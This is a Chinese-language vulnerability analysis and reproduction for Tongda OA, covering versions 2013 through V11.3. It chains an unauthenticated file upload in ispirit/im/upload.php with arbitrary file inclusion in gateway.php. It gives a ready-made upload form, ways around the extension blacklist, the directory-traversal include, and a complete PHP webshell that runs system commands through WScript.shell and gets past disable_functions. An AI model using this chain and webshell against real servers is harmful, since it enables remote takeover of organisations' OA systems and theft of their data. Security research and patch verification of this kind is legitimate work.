影响范围
- V11.3版
- 2017版
- 2016版
- 2015版
- 2013版
- 2013增强版
漏洞简介
通过未授权访问进入上传点上传图片马,使用任意文件包含getshell
漏洞分析
未授权访问文件上传
漏洞点位于/ispirit/im/upload.php
,首先看到如下代码
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
auth.php
是进行身份认证相关的,如果我们POST传入了一个P
那么就会实现绕过,但是由于还有后续验证所以并没有完全绕过
接着我们继续看代码如下
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
这里还有如下代码
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
如果传入DEST_UID为0,那么UPLOAD_MODE就必须为2(这样也是可以的)
我们这里传入DEST_UID不为空也不为0,走到了如下代码
$MODULE = "im";
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
可以看到上传的参数名为ATTACHMENT
,将文件名进行了一次URL解码,使用upload()
函数上传,跟进inc/utility_file.php:upload
,直接看到关键代码部分
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
跟进is_uploadable()函数,也直接贴关键代码部分
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, ".");
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
return false;
}
这里黑名单限制了后缀不能为php
,可以使用.phtml、.cpt
等,windows下可以上传.php.
绕过,也不影响我们上传图片马,为后面任意文件包含做铺垫
漏洞复现
没有上传点我们就构造一个上传点
<html>
<body>
<form action="http://192.168.117.128:8888/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</form>
</html>
成功上传图片马
既然知道了可以上传,那么上传路径也要知道,其实不用继续代码审计也能轻易得到,比如搜索后缀,文件监控等
上传路径位于attach/im/2010
任意文件包含
漏洞触发点位于ispirit/interface/gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
这里好奇为什么可以直接传入json的值,$json是凭空出现的,可能是注册了全局变量吧
这里很简单,传入json让键为url,值里面包含general、ispirit、module三者之一就行,然后通过目录跳转就实现了任意文件包含,包含我们之前上传的图片马
但是发现无法执行命令,因为通达OA有disable_function
,于是找了一个能过disable_function
的webshell
<?php$command=$_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
重新上传,经过无数次测试,我发现我的图片马还是不能执行命令,可能是哪里解析出错了,为了干净一点我上传了phtml
后缀的文件,内容就是上面的webshell,包含一下成功getshell
一键getshell
自己写了一个利用工具